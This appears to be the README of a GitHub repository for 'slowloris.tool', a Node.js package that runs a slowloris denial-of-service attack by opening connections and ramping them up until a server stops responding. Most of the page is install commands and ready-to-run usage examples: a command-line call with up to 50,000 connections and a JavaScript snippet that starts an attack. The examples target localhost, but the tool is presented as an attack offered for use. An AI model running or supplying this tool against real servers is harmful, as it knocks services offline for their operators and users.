Skip to content

anzerr/slowloris.tool

Repository files navigation

Intro

GitHub Actions status | publish

Example of slowloris attack it should start with a few connections and try and ramp up until I can't connected anymore

Install

npm install --save git+https://github.com/anzerr/slowloris.tool.git
npm install --save @anzerr/slowloris.tool
git clone git+https://git@github.com/anzerr/slowloris.tool.git &&
cd slowloris.tool &&
npm link

Example

slowloris --host localhost:8080 --max 50000
slowloris --host https://localhost:8080
const Loris = require('slowloris.tool');
let l = new Loris('http://localhost:8080', 100000).attack();
return new Promise((resolve) => l.once('end', resolve)).then(() => {
	console.log('attack ended');
}).catch(console.log);